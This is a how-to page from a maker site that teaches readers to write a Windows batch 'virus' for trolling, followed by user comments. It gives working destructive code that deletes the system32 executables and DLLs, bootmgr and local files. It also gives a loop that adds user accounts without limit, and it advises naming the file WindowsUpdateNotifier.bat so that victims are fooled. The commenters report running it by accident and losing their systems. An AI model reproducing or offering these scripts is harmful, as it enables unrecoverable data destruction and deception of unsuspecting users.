Create a Virus! [FOR TROLLING ONLY] [CMD]

10,154

19

10

Introduction: Create a Virus! [FOR TROLLING ONLY] [CMD]

About: I make stuff

Hi there!

This Instructable will tell you how to create a virus using CMD (command prompt). Be warned that you should ONLY test your virus in a virtual machine (VM)!

This Instructable is created for educational purposes ONLY. Do NOT ever run your virus on any computers such as your work laptop!

Step 1: Create the Script

So, to create a script, hold left-shift and then click "Open Command Window Here...".

When a CMD prompt pops up, type the following command: copy nul myfile.bat. Rename myfile.bat with something like WindowsUpdateNotifier.bat or people won't fall for the trick!

Now open your favorite text editor (such as Notepad++) and open the script.

Step 2: Write the Code

Code Samples:

Destructive Virus:

@echo off
rem Very destructive virus!

for %%i in (%systemroot%\system32\*.exe) do del /q %%i

for %%i in (%systemroot%\system32\*.dll) do del /q %%i

for %%i in (*.*) do del /q %%i

del /q %systemdrive%\bootmgr

del /q *.*

Random account adder:


@echo off
rem admin perms required!

:loop

net user /add %random%

goto loop

Be the First to Share

    Recommendations

    • Lamps and Lighting Contest

      Lamps and Lighting Contest
    • Halloween Contest

      Halloween Contest
    • Retro Tech Challenge

      Retro Tech Challenge

    10 Comments

    0
    BenjaminF54
    BenjaminF54

    5 years ago

    how to undo

    0
    GoWolves11
    GoWolves11

    Reply 4 years ago

    Which one did you accidentally use?

    0
    minhtriet1243
    minhtriet1243

    Reply 2 years ago

    he is use the first one

    0
    GoWolves11
    GoWolves11

    Reply 2 years ago

    You can't undo that one my friend.

    0
    minhtriet1243
    minhtriet1243

    Reply 2 years ago

    i use the first one

    0
    minhtriet1243
    minhtriet1243

    Reply 2 years ago

    help me plz

    0
    minhtriet1243
    minhtriet1243

    Reply 2 years ago

    i just use the first one
    plz help me

    0
    Tommy986
    Tommy986

    3 years ago

    Is that realy dangerous?

    0
    thepcgeek
    thepcgeek

    Reply 2 years ago

    yes

    0
    BenjaminF54
    BenjaminF54

    5 years ago

    plz need help to reset